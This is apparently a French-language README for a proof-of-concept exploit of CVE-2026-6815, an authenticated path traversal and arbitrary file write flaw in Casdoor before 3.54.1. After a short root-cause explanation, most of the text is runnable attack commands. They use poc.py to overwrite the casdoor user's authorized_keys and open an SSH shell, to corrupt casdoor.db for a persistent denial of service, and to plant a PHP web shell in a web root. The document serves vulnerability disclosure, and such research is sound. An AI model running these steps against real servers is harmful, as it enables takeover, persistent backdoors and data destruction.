
Exploit PoC de path traversal authentifié et d'écriture de fichier arbitraire pour Casdoor <3.54.1, permettant une RCE via injection de clé SSH, téléchargement de web shell ou DoS persistant via corruption de base de données.
Ce dépôt contient un exploit Proof of Concept (PoC) pour CVE-2026-6815, une vulnérabilité d'écriture arbitraire de fichiers et de path traversal dans Casdoor.
La vulnérabilité a été corrigée dans la version 3.54.1.
L'attaquant doit être authentifié sur l'instance Casdoor avec des privilèges d'administrateur ou un utilisateur équivalent ayant accès pour créer et/ou modifier les fournisseurs de stockage.
.ssh/authorized_keys, les crontabs ou les racines web.casdoor.db) ou les binaires principaux avec des fichiers arbitraires, ce qui arrête immédiatement l'application.Casdoor permet aux administrateurs de configurer des fournisseurs de stockage. Le fournisseur Local File System ne parvient pas à assainir correctement la configuration pathPrefix et le paramètre fullFilePath lors des téléchargements de ressources.
En utilisant des séquences de path traversal (../), un administrateur authentifié peut sortir du répertoire de stockage dédié et écrire des fichiers partout où le processus Casdoor a des permissions.
La vulnérabilité provient d'une validation insuffisante des chemins dans :
object/provider.go : Aucune validation sur pathPrefix lors de la création/mise à jour.storage/local_file_system.go : La méthode GetFullPath ne vérifie pas si le chemin résolu reste dans le sandbox prévu.Installer les dépendances :
pip install -r requirements.txt
Exécuter l'exploit :
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
Écrire une clé publique contrôlée par l'attaquant dans le fichier authorized_keys de l'utilisateur casdoor pour obtenir un accès SSH.
Générer la clé SSH :
ssh-keygen -f casdoor_rce
Écraser authorized_keys avec la clé publique générée :
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
Obtenir un shell SSH sur l'hôte distant en utilisant la clé privée :
ssh -i ./casdoor_rce casdoor@target
Écraser le fichier de base de données local de l'application (par exemple, casdoor.db) pour provoquer un déni de service.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
Si le serveur héberge un serveur web secondaire (par exemple, Apache/Nginx) sur le même système de fichiers, écrire un web shell dans sa racine de documents.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
Si vous avez des identifiants d'administration pour une organisation et une application spécifiques (autres que les valeurs par défaut built-in et app-built-in), spécifiez-les en utilisant --orgname et --appname.
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
Ce logiciel est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. L'auteur n'est pas responsable de toute mauvaise utilisation de ces informations.
Vulnérabilité découverte et PoC développé par Danilo Dell'Orco (sixpain).